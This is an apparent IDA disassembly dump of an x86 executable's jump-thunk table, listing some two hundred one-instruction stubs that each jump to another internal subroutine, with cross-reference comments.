Attributes: noreturn thunk sub_401BF4 proc near ; CODE XREF: ___:0041432Cp jmp sub_414420 sub_401BF4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BF9 proc near jmp sub_40C430 sub_401BF9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BFE proc near ; CODE XREF: sub_425100+8Bp jmp sub_424920 sub_401BFE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C03 proc near ; CODE XREF: ___:0040B1EEp ; sub_40B240+34p ... jmp sub_40BEA0 sub_401C03 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C08 proc near ; CODE XREF: sub_40B180+5Cp jmp sub_40BD40 sub_401C08 endp ; --------------------------------------------------------------------------- jmp loc_433AB0 ; --------------------------------------------------------------------------- jmp loc_432410 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C17 proc near ; CODE XREF: sub_431DC0+20p ; sub_431EF0+20p ... jmp sub_431980 sub_401C17 endp ; --------------------------------------------------------------------------- jmp loc_430020 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C21 proc near jmp sub_435AA0 sub_401C21 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C26 proc near ; CODE XREF: sub_4138A0+84p ; sub_434D10+3Cp ... jmp sub_434C30 sub_401C26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C2B proc near ; CODE XREF: ___:0042D7C8p jmp sub_42C350 sub_401C2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C30 proc near ; CODE XREF: sub_42BB00+446p jmp sub_42B8E0 sub_401C30 endp ; --------------------------------------------------------------------------- jmp loc_41B720 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C3A proc near ; CODE XREF: ___:00432546p ; sub_4344C0+23p jmp sub_432DB0 sub_401C3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C3F proc near ; DATA XREF: ___:off_43F12Co jmp sub_429120 sub_401C3F endp ; --------------------------------------------------------------------------- jmp loc_41FC80 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C49 proc near ; CODE XREF: sub_41B0B0+8p ; ___:0041B46Dp ... jmp sub_41A110 sub_401C49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C4E proc near ; CODE XREF: sub_42B3F0+3p jmp sub_42B420 sub_401C4E endp ; --------------------------------------------------------------------------- jmp loc_41AE50 ; --------------------------------------------------------------------------- jmp loc_416A80 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C5D proc near ; CODE XREF: sub_40BE60+1Fp jmp sub_40BF90 sub_401C5D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C62 proc near ; CODE XREF: sub_415AF0+9p ; sub_415C10+18p jmp sub_4166C0 sub_401C62 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C67 proc near ; CODE XREF: sub_418D40+4p jmp sub_419060 sub_401C67 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C6C proc near ; CODE XREF: sub_4073C0+11p ; ___:004073E7p ... jmp sub_407570 sub_401C6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C71 proc near ; CODE XREF: sub_404C30+111p ; sub_40D650+42p ... jmp sub_40A2C0 sub_401C71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C76 proc near ; CODE XREF: ___:0041325Ap ; sub_4132E0+3Cp ... jmp sub_4158C0 sub_401C76 endp ; --------------------------------------------------------------------------- jmp loc_42FCB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C80 proc near ; CODE XREF: sub_4269A0+69p jmp sub_426B10 sub_401C80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C85 proc near ; CODE XREF: sub_40B5F0+2Fp ; sub_40B5F0+6Ep ... jmp sub_40BE30 sub_401C85 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C8A proc near ; CODE XREF: ___:00430078p ; ___:0043008Dp ... jmp sub_433FB0 sub_401C8A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C8F proc near ; CODE XREF: sub_415440+11p ; sub_415EC0+1Fp jmp sub_4160B0 sub_401C8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C94 proc near ; DATA XREF: ___:0043F0D4o jmp sub_41D830 sub_401C94 endp ; --------------------------------------------------------------------------- jmp loc_419A10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C9E proc near ; CODE XREF: sub_4073C0+9p ; sub_418E70+18p jmp sub_407610 sub_401C9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CA3 proc near ; CODE XREF: sub_4132B0+3p ; ___:00416C2Bp ... jmp sub_4132E0 sub_401CA3 endp ; --------------------------------------------------------------------------- jmp loc_40B8E0 ; --------------------------------------------------------------------------- loc_401CAD: ; DATA XREF: ___:off_43F068o jmp loc_418B60 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_4. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CB7 proc near ; CODE XREF: ___:00416E2Ap jmp sub_418170 sub_401CB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CBC proc near ; CODE XREF: sub_415B90+Cp ; sub_415B90+43p jmp sub_416690 sub_401CBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CC1 proc near ; CODE XREF: sub_4096D0+45p jmp sub_4099B0 sub_401CC1 endp ; --------------------------------------------------------------------------- jmp loc_434430 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CD0 proc near ; CODE XREF: sub_40FE30+3A4p jmp sub_40A0D0 sub_401CD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CD5 proc near ; CODE XREF: sub_4077E0+6B6p ; ___:00407F3Dp ... jmp sub_407740 sub_401CD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CDA proc near ; CODE XREF: sub_4154F0+14p ; sub_415530+9p ... jmp sub_416180 sub_401CDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CDF proc near ; CODE XREF: sub_4096D0+144p jmp sub_409A40 sub_401CDF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CE4 proc near ; CODE XREF: sub_404600+1C2p ; sub_404AD0+36p ... jmp sub_413490 sub_401CE4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CE9 proc near ; CODE XREF: sub_4151B0+34p ; sub_415C10+67p jmp sub_415DB0 sub_401CE9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CEE proc near jmp sub_409B70 sub_401CEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CF3 proc near ; DATA XREF: ___:0043F0A4o jmp sub_41FC00 sub_401CF3 endp ; --------------------------------------------------------------------------- jmp loc_42F3A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CFD proc near ; CODE XREF: sub_40BF60+5p jmp sub_40C1C0 sub_401CFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D02 proc near ; CODE XREF: ___:0043242Fp jmp sub_430520 sub_401D02 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D07 proc near ; CODE XREF: sub_421E50+11p ; ___:00421E77p ... jmp sub_422400 sub_401D07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D0C proc near ; DATA XREF: ___:0043F048o jmp sub_4132B0 sub_401D0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D11 proc near ; CODE XREF: sub_415880+1Fp jmp sub_416210 sub_401D11 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D16 proc near ; CODE XREF: sub_40F6C0+1ACp ; sub_40F6C0+1EDp ... jmp sub_40F650 sub_401D16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D1B proc near ; CODE XREF: sub_413E60+15Cp jmp sub_414150 sub_401D1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D20 proc near ; CODE XREF: sub_404BE0+23p ; sub_40FE30+13C2p jmp sub_412740 sub_401D20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D25 proc near ; CODE XREF: ___:00416DEFp jmp sub_418010 sub_401D25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D2A proc near ; CODE XREF: sub_407590+7p ; sub_40C2D0+7p ... jmp sub_407630 sub_401D2A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D2F proc near ; CODE XREF: sub_40A8E0+1Ap ; sub_40A990+4p ... jmp sub_40A950 sub_401D2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D34 proc near ; CODE XREF: sub_404600+289p ; sub_404600+2ADp ... jmp sub_40A170 sub_401D34 endp ; --------------------------------------------------------------------------- jmp loc_4305A0 ; --------------------------------------------------------------------------- loc_401D3E: ; DATA XREF: ___:0043F154o jmp loc_429510 ; --------------------------------------------------------------------------- jmp loc_42F970 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D48 proc near jmp sub_403F80 sub_401D48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D4D proc near ; CODE XREF: sub_411C00+123p ; sub_411C00+1E2p jmp sub_4122D0 sub_401D4D endp ; --------------------------------------------------------------------------- jmp loc_41B540 ; --------------------------------------------------------------------------- jmp loc_40B860 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D5C proc near ; CODE XREF: sub_421D80+5p jmp sub_4222E0 sub_401D5C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D61 proc near ; CODE XREF: sub_415F60+5Fp jmp sub_416780 sub_401D61 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D66 proc near ; CODE XREF: sub_41D830+2C7p jmp sub_42FD30 sub_401D66 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D6B proc near ; CODE XREF: sub_418C90+7p jmp sub_418F30 sub_401D6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D70 proc near ; CODE XREF: sub_413730+5Dp ; sub_413730+9Bp ... jmp sub_415410 sub_401D70 endp ; --------------------------------------------------------------------------- jmp loc_437390 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D7A proc near ; CODE XREF: sub_415810+14p ; sub_415850+9p ... jmp sub_4164D0 sub_401D7A endp ; --------------------------------------------------------------------------- jmp loc_40B950 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D84 proc near ; CODE XREF: sub_4341C0+98p jmp sub_431950 sub_401D84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D89 proc near ; CODE XREF: sub_421C60+14p ; sub_421CA0+9p ... jmp sub_4222B0 sub_401D89 endp ; --------------------------------------------------------------------------- jmp loc_42DAD0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D93 proc near jmp sub_41C490 sub_401D93 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D98 proc near ; CODE XREF: sub_418970+14p ; sub_4189B0+9p ... jmp sub_418E10 sub_401D98 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D9D proc near ; CODE XREF: sub_413730+53p ; sub_413730+91p ... jmp sub_415260 sub_401D9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DA2 proc near ; CODE XREF: sub_422B40+56p jmp sub_426B90 sub_401DA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DA7 proc near ; CODE XREF: sub_422B40+18Ap jmp sub_426A90 sub_401DA7 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_6. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DB1 proc near ; CODE XREF: sub_429170+81p jmp sub_428DC0 sub_401DB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DB6 proc near ; CODE XREF: sub_415760+11p ; sub_416210+1Fp jmp sub_416400 sub_401DB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DBB proc near ; CODE XREF: sub_415220+14p ; sub_415260+9p ... jmp sub_415E30 sub_401DBB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DC0 proc near ; CODE XREF: ___:004147D3p jmp sub_414590 sub_401DC0 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_3. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_425DC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DCF proc near ; CODE XREF: sub_428260+90p jmp sub_428810 sub_401DCF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DD4 proc near ; CODE XREF: ___:0042C468p jmp sub_42C1B0 sub_401DD4 endp ; --------------------------------------------------------------------------- jmp loc_4141E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DDE proc near ; CODE XREF: sub_434AD0+74p jmp sub_432AE0 sub_401DDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DE3 proc near ; CODE XREF: sub_41FA90+1Dp jmp sub_40B140 sub_401DE3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DE8 proc near ; CODE XREF: sub_40AAC0+45p jmp sub_40AD40 sub_401DE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DED proc near ; CODE XREF: ___:0043062Dp ; ___:00430752p ... jmp sub_432C80 sub_401DED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DF2 proc near ; CODE XREF: ___:00426F24p jmp sub_4281A0 sub_401DF2 endp ; --------------------------------------------------------------------------- jmp loc_432D50 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DFC proc near ; CODE XREF: sub_40FE30+AE7p ; sub_40FE30+E5Dp jmp sub_41EE70 sub_401DFC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E01 proc near ; CODE XREF: sub_40AD70+Ap jmp sub_40AE60 sub_401E01 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E06 proc near ; CODE XREF: ___:00416B2Bp ; ___:0043B27Aj ... jmp sub_417AA0 sub_401E06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E0B proc near ; CODE XREF: sub_421F80+4p jmp sub_422420 sub_401E0B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E10 proc near ; CODE XREF: sub_40C4D0+271p ; sub_425100+50p ... jmp sub_423760 sub_401E10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E15 proc near ; CODE XREF: ___:0041626Ap jmp sub_416850 sub_401E15 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E1A proc near ; CODE XREF: sub_415DB0+7p jmp sub_4165B0 sub_401E1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E1F proc near ; CODE XREF: sub_41D830+19Bp jmp sub_42DA80 sub_401E1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E24 proc near ; CODE XREF: sub_404C30+835p ; sub_404C30+B62p ... jmp sub_412520 sub_401E24 endp ; --------------------------------------------------------------------------- jmp sub_4132B0 ; --------------------------------------------------------------------------- jmp sub_42AEE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E33 proc near ; CODE XREF: sub_415480+34p ; sub_415F60+67p jmp sub_416100 sub_401E33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E38 proc near ; CODE XREF: sub_413730+31p ; sub_414590+2Dp jmp sub_4153A0 sub_401E38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E3D proc near ; CODE XREF: sub_40CC80+1F1p ; ___:00423FBFp ... jmp sub_426930 sub_401E3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E42 proc near ; CODE XREF: sub_4159E0+3p jmp sub_4164B0 sub_401E42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E47 proc near ; CODE XREF: sub_404600+97p ; sub_404600+107p ... jmp sub_40A490 sub_401E47 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_5. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_426020 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E56 proc near ; CODE XREF: ___:00423DFAp jmp sub_423950 sub_401E56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E5B proc near ; CODE XREF: ___:00421E0Ap jmp sub_422310 sub_401E5B endp ; --------------------------------------------------------------------------- jmp loc_416CF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E65 proc near jmp sub_4368D0 sub_401E65 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E6A proc near ; DATA XREF: ___:off_43F088o jmp sub_4369E0 sub_401E6A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E6F proc near ; CODE XREF: ___:004337FFp jmp sub_4310A0 sub_401E6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E74 proc near ; CODE XREF: sub_416690+5p jmp sub_4168E0 sub_401E74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E79 proc near ; CODE XREF: sub_404C30+28Dp ; sub_41D830+6A3p jmp sub_40DC10 sub_401E79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E7E proc near ; CODE XREF: sub_422510+5Fp jmp sub_422700 sub_401E7E endp ; --------------------------------------------------------------------------- jmp loc_419F90 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E88 proc near ; CODE XREF: sub_40F6C0+22p ; sub_412A20+1Dp ... jmp sub_40AE90 sub_401E88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E8D proc near ; CODE XREF: sub_40AAC0+112p ; sub_40AAC0+153p jmp sub_40ADA0 sub_401E8D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E92 proc near ; DATA XREF: ___:off_43F0C0o jmp sub_41B0E0 sub_401E92 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E97 proc near ; CODE XREF: sub_4156C0+3p jmp sub_416160 sub_401E97 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E9C proc near ; CODE XREF: sub_427AC0+1Ap jmp sub_427980 sub_401E9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EA1 proc near ; CODE XREF: ___:00416BFBp ; ___:0043B1C4j ... jmp sub_4175A0 sub_401EA1 endp ; --------------------------------------------------------------------------- jmp loc_4331B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EAB proc near ; CODE XREF: sub_4200F0+3Ap jmp sub_420300 sub_401EAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401EB0 proc near ; DATA XREF: ___:0043F114o jmp sub_428260 sub_401EB0 endp ; --------------------------------------------------------------------------- jmp loc_433AF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401EBA proc near ; CODE XREF: sub_416400+4p jmp sub_416800 sub_401EBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EBF proc near ; CODE XREF: sub_415910+5Bp ; sub_4162B0+11p ... jmp sub_416500 sub_401EBF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EC4 proc near ; CODE XREF: sub_415730+5p jmp sub_4161E0 sub_401EC4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EC9 proc near ; CODE XREF: sub_424920+151p jmp sub_4248E0 sub_401EC9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401ECE proc near ; CODE XREF: ___:00416B9Bp ; ___:0043B218j ... jmp sub_4177F0 sub_401ECE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401ED3 proc near ; CODE XREF: sub_4153A0+3p jmp sub_415E10 sub_401ED3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401ED8 proc near ; CODE XREF: sub_4150F0+11p ; sub_415130+13p ... jmp sub_415D60 sub_401ED8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EDD proc near ; CODE XREF: sub_421A60+14p ; sub_421AA0+9p ... jmp sub_422050 sub_401EDD endp ; --------------------------------------------------------------------------- jmp loc_418820 ; --------------------------------------------------------------------------- jmp loc_41C350 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EEC proc near ; CODE XREF: sub_418F80+18p ; sub_421DB0+9p jmp sub_419140 sub_401EEC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EF1 proc near ; CODE XREF: sub_422640+Ap jmp sub_4227E0 sub_401EF1 endp ; --------------------------------------------------------------------------- jmp loc_41BD50 ; --------------------------------------------------------------------------- jmp loc_433BA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F00 proc near ; CODE XREF: ___:00416AFBp ; ___:0043B2A4j ... jmp sub_417AE0 sub_401F00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F05 proc near ; CODE XREF: sub_40A8E0+13p jmp loc_40AA20 sub_401F05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F0A proc near ; CODE XREF: sub_41B130:loc_41B17Cp ; sub_41BA50+54p ... jmp sub_4199A0 sub_401F0A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F0F proc near ; CODE XREF: ___:00414385p jmp sub_415560 sub_401F0F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F14 proc near ; CODE XREF: sub_4157A0+34p ; sub_4162B0+67p jmp sub_416450 sub_401F14 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F19 proc near ; CODE XREF: sub_4153C0+3p ; ___:00415B3Fp ... jmp sub_415DF0 sub_401F19 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F1E proc near jmp sub_412CD0 sub_401F1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F23 proc near ; CODE XREF: sub_4131E0+4Dp jmp sub_415440 sub_401F23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F28 proc near ; CODE XREF: sub_407140+5Cp ; sub_418F50+3p jmp sub_407360 sub_401F28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F2D proc near ; CODE XREF: ___:004191F3p jmp sub_4198F0 sub_401F2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F32 proc near ; CODE XREF: ___:0040BFEAp jmp sub_40C320 sub_401F32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F37 proc near ; CODE XREF: ___:0042C44Fp jmp sub_42C0A0 sub_401F37 endp ; --------------------------------------------------------------------------- loc_401F3C: ; DATA XREF: ___:off_43F07Co jmp loc_435B90 ; --------------------------------------------------------------------------- loc_401F41: ; DATA XREF: ___:00424194o jmp loc_423D10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F46 proc near ; CODE XREF: ___:00416B5Bp ; ___:0043B250j ... jmp sub_417A00 sub_401F46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F4B proc near ; CODE XREF: sub_413C30+99p jmp sub_413E00 sub_401F4B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F50 proc near ; CODE XREF: sub_40B460+3Dp ; ___:0040BBFDp ... jmp sub_40B7D0 sub_401F50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F55 proc near ; CODE XREF: ___:loc_423DA7p jmp sub_423820 sub_401F55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F5A proc near ; CODE XREF: sub_404C30+A38p jmp sub_406850 sub_401F5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F5F proc near ; DATA XREF: ___:off_43F1A0o jmp sub_42C640 sub_401F5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F64 proc near ; CODE XREF: sub_413A70+72p jmp sub_413730 sub_401F64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F69 proc near ; CODE XREF: sub_4182F0+5Fp ; sub_418900+1Ap ... jmp sub_418970 sub_401F69 endp ; --------------------------------------------------------------------------- jmp loc_430290 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F73 proc near ; CODE XREF: sub_42F6F0+B5p jmp sub_42E5B0 sub_401F73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F78 proc near ; CODE XREF: sub_40B5F0+4Bp ; sub_40B5F0:loc_40B67Bp ... jmp sub_40BF10 sub_401F78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F7D proc near jmp sub_41E400 sub_401F7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F82 proc near ; CODE XREF: sub_40A500+142p jmp sub_40A8E0 sub_401F82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F87 proc near ; CODE XREF: sub_404600+35Dp ; sub_404600+39Ep jmp sub_404AD0 sub_401F87 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F8C proc near ; CODE XREF: sub_415EC0+9p ; sub_415F60+18p jmp sub_4167C0 sub_401F8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F91 proc near ; CODE XREF: sub_432E20+1Bp jmp sub_432ED0 sub_401F91 endp ; --------------------------------------------------------------------------- jmp loc_42C2C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F9B proc near ; CODE XREF: sub_427740+1Dp ; sub_427C90+1Dp ... jmp sub_427B00 sub_401F9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FA0 proc near ; CODE XREF: sub_4290B0+1Dp ; sub_429450+1Fp ... jmp sub_429290 sub_401FA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FA5 proc near ; CODE XREF: ___:0042B063p jmp sub_42B090 sub_401FA5 endp ; --------------------------------------------------------------------------- jmp loc_406C20 ; --------------------------------------------------------------------------- jmp loc_40D530 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FB4 proc near ; CODE XREF: sub_4096D0+112p ; sub_4096D0+153p jmp sub_409A10 sub_401FB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FB9 proc near ; CODE XREF: sub_422700+5p jmp sub_422870 sub_401FB9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FBE proc near ; CODE XREF: sub_407390+5p jmp sub_407540 sub_401FBE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FC3 proc near ; CODE XREF: sub_413730+6Fp ; sub_413730+DBp ... jmp sub_4153C0 sub_401FC3 endp ; --------------------------------------------------------------------------- jmp loc_42CB20 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401FCD proc near ; CODE XREF: sub_4152D0+6Ap ; sub_415CD0+32p jmp sub_415C10 sub_401FCD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FD2 proc near jmp sub_40F0F0 sub_401FD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FD7 proc near ; CODE XREF: sub_412740+3p jmp sub_412770 sub_401FD7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FDC proc near ; CODE XREF: sub_404600+48p ; sub_404600+5Dp ... jmp sub_409DF0 sub_401FDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FE1 proc near ; DATA XREF: ___:off_43F080o jmp sub_419A50 sub_401FE1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FE6 proc near ; CODE XREF: sub_41A1E0+3p ; sub_41B110+9j ... jmp sub_41A210 sub_401FE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401FEB proc near ; CODE XREF: sub_40BD80+34p ; sub_40C1F0+67p jmp sub_40C110 sub_401FEB endp ; --------------------------------------------------------------------------- jmp loc_433980 ; --------------------------------------------------------------------------- loc_401FF5: ; DATA XREF: ___:off_43F084o jmp loc_436570 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FFA proc near jmp sub_40F170 sub_401FFA endp ; --------------------------------------------------------------------------- jmp loc_4375F0 ; --------------------------------------------------------------------------- loc_402004: ; DATA XREF: ___:0043F03Co jmp loc_41EDB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402009 proc near ; CODE XREF: sub_41F860+5Ap jmp sub_41FF40 sub_402009 endp ; 